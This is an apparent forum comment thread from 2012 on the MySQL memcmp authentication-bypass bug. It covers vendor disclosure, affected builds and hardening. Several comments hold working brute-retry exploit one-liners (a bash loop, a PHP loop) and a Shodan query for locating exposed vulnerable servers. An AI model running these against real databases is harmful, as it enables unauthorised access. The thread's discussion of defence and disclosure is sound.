This is a vulnerability in the authentication scheme used in the MySQL wire protocol, meaning attackers need to be able to connect to your MySQL database directly to exploit it. <i>Attackers should never, ever be able to connect directly to your MySQL database directly</i>. If you can connect to your MySQL instance directly from your Macbook in your living room, fix it <i>right now</i>.
From the mysql commit: Date: 2012-04-06 09:04:07 UTC<p>That's two months ago. Looking at the changelog (<a href="http://dev.mysql.com/doc/refman/5.1/en/news-5-1-63.html" rel="nofollow">http://dev.mysql.com/doc/refman/5.1/en/news-5-1-63.html</a>), they piled in a bunch of other changes like "use less disk space". This should have gone out <i>pronto</i>. I feel it's not the kind of thing you sit on until your next quarterly release is scheduled.<p>[oh wait, this is worse. mysql 5.1.63 was actually released a month ago. But they only now tell us what the security bug was? Meanwhile the bad people have had a month to diff sources? Double unhappy.]
It looks like this is being tracked in Ubuntu here: <a href="https://bugs.launchpad.net/bugs/1011371" rel="nofollow">https://bugs.launchpad.net/bugs/1011371</a><p>Unfortunately Oracle's stewardship of MySQL appears to be a closed model. There is no public access to their bug tracker, and distributions struggle to keep up with security updates because the details of their fixes in the source are not published. The future of MySQL appears to be in one of the MySQL forks.<p>See <a href="https://lists.ubuntu.com/archives/ubuntu-server/2012-February/006073.html" rel="nofollow">https://lists.ubuntu.com/archives/ubuntu-server/2012-Februar...</a> and <a href="https://lists.ubuntu.com/archives/ubuntu-server/2012-February/006129.html" rel="nofollow">https://lists.ubuntu.com/archives/ubuntu-server/2012-Februar...</a> for details.
One-liner: $ for i in `seq 1 512`; do echo 'select @@version;' | mysql -h 127.0.0.1 -u root mysql --password=X 2>/dev/null && break; done<p>Via HDMOORE on twitter
This is also important in other environments, for instance shared hosting where you may connect to localhost, or places where you may have given non-admin shell access to a developer (assuming they could not connect to mysql root user).<p>This is a serious vulnerability. Especially since the latest ubuntu seems to be affected(I'm on mint 13, and it is)<p>See Ready shodanhq query for latest mysql version:<p><a href="http://www.shodanhq.com/search?q=port%3A3306+5.5.22-0ubuntu1" rel="nofollow">http://www.shodanhq.com/search?q=port%3A3306+5.5.22-0ubuntu1</a>
I've been trying this on lots of our customers' boxes and can't exploit it - no matter how many times I've tried I always get turned away when retrying root's password, e.g. trying "while true; do mysql -u root mysql --password=baha; done" does not yield access on any of:<p>Debian lenny 32-bit 5.0.51a-24+lenny5<p>Debian lenny 64-bit 5.0.51a-24+lenny5<p>Debian lenny 64-bit 5.1.51-1-log<p>Debian squeeze 64-bit 5.1.49-3-log<p>Debian squeeze 32-bit 5.1.61-0+squeeze1<p>Debian squeeze 64-bit 5.1.61-0+squeeze1<p>Ubuntu lucid 64-bit 5.1.62-0ubuntu0.10.04.1<p>So I'm not inclined to think it's as bad as made out by the simple exploit above.
<i>Whether a particular build of MySQL or MariaDB is vulnerable, depends on
how and where it was built. A prerequisite is a memcmp() that can return
an arbitrary integer (outside of -128..127 range). To my knowledge gcc
builtin memcmp is safe, BSD libc memcmp is safe. Linux glibc
sse-optimized memcmp is not safe, but gcc usually uses the inlined
builtin version.</i><p>How do you know, how the Ubuntu devs compiled their mysql server?
For anyone running phpMyAdmin, make sure to lock it down.<p>Here's a guide for limiting access to it by IP address via the apache config for Ubuntu users:<p><a href="http://mixeduperic.com/ubuntu/how-to-restrict-phpmyadmin-ip-address.html" rel="nofollow">http://mixeduperic.com/ubuntu/how-to-restrict-phpmyadmin-ip-...</a>
Has anyone managed to actually repro this. I've tried it on a wide variety of systems I run and no repro. Just looking for anecdotal data on how many systems are affected. To me it doesn't seem like a high percentage.
<?php while(true) if(mysql_connect("localhost", "root", "password")) exit("connected with password: password");<p>I am sad to say it worked on my Ubuntu server :(
It seems that SSE4 extensions are needed to be vulnerable, otherwise memcmp() is doing classical computations.<p>So you need a 64 bits system, and be sure that you are not using a virtualisation system which does clear SSSE4 flag in /proc/cpuinfo (VirtualBox does).
Doesn't surprise me.<p>Ubuntu always ship fucked up, broken, shitty MySQL versions.<p>Look at the one that is current HEAD on 10.04 LTS. It's got so much broken stuff in it, we had to move everything to a spare windows machine where we could stick a later version on without screwing up the machine (DBs for: team city, jira, crucible).
Just tried the various one-liners mentioned in the comments on a hardy (8.04) release using mysql 5.0.51a and could not get in.<p>This is a slicehost box, so I'm assuming that can be extrapolated to mean that anyone using ubuntu on slicehost is probably safe.